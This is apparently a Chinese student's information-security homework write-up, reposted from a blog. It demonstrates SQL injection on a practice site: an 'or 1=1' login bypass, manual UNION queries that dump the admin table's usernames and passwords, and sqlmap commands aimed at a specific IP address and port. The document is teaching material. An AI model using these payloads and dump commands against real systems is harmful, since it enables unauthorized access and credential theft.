信息安全概論課堂作業
SQL注入之萬能密碼漏洞
第一道題是牽扯到了萬能密碼漏洞
用戶名先輸入個’
返回了sql報錯語句,猜測存在sql注入漏洞
使用萬能密碼測試
登陸成功
原理
假設登錄框處的判斷代碼如下:
1 |
SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']"'; |
在賬號框中輸入admin'or 1=1 #
,密碼隨便輸,sql語句就變成了:
1 |
SELECT * FROM admin where name='admin' or 1=1 #'and password='任意字符'; |
符號’將語句閉合
#號將admin' or 1=1
后面的語句注釋
剩下有效的sql代碼變成了
1 |
SELECT * FROM admin where name='admin' or 1=1; |
這段代碼意思就是 ‘admin’ or 1=1 (真 or 真)是一個恆為真的判斷
服務器收到了返回真的驗證,就繞過了登錄
防止方法
1.字符轉義
2.字符替換
3.百度如何預防SQL注入
SQL注入之字符型注入
利用手動注入
打開網站看到網址有個id參數
判斷注入類型
輸入id=1 and 1=1#
頁面正常
輸入id=1 and 1=2#
頁面出現異常
猜測為數字注入
判斷字段數
輸入id=1 order by 2#
頁面正常
輸入id=1 order by 3#
頁出出現異常
得知有兩個字段
判斷字段回顯位置
輸入
1 |
id=1 and 1=2 union select 1,2# |
查看字段位置
查看數據庫名
字
輸入
1 |
id=6666 union select 1,database()# |
出現數據庫名字:maoshe
查看表名
輸入
1 |
id=id=6666 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
出現了很多表名
查看字段名
我們需要的是admin表
輸入
1 |
id=6666 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'# |
看到了字段名id、username、password
查看字段里的數據
輸入
1 |
id=6666 union select 1,group_concat(id,":",username,":",password) from admin# |
看到了管理員用戶名和密碼
利用sqlmap工具注入
檢查注入點:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs |
爆數據庫的信息:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs |
爆當前數據庫信息:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --current-db |
指定庫名表名列出所有字段
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin --column |
指定庫名表名字段dump出指定字段
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin -C username password --dump
內容來自於
http://reb0rn.design/2019/10/13/信息安全概論課堂作業/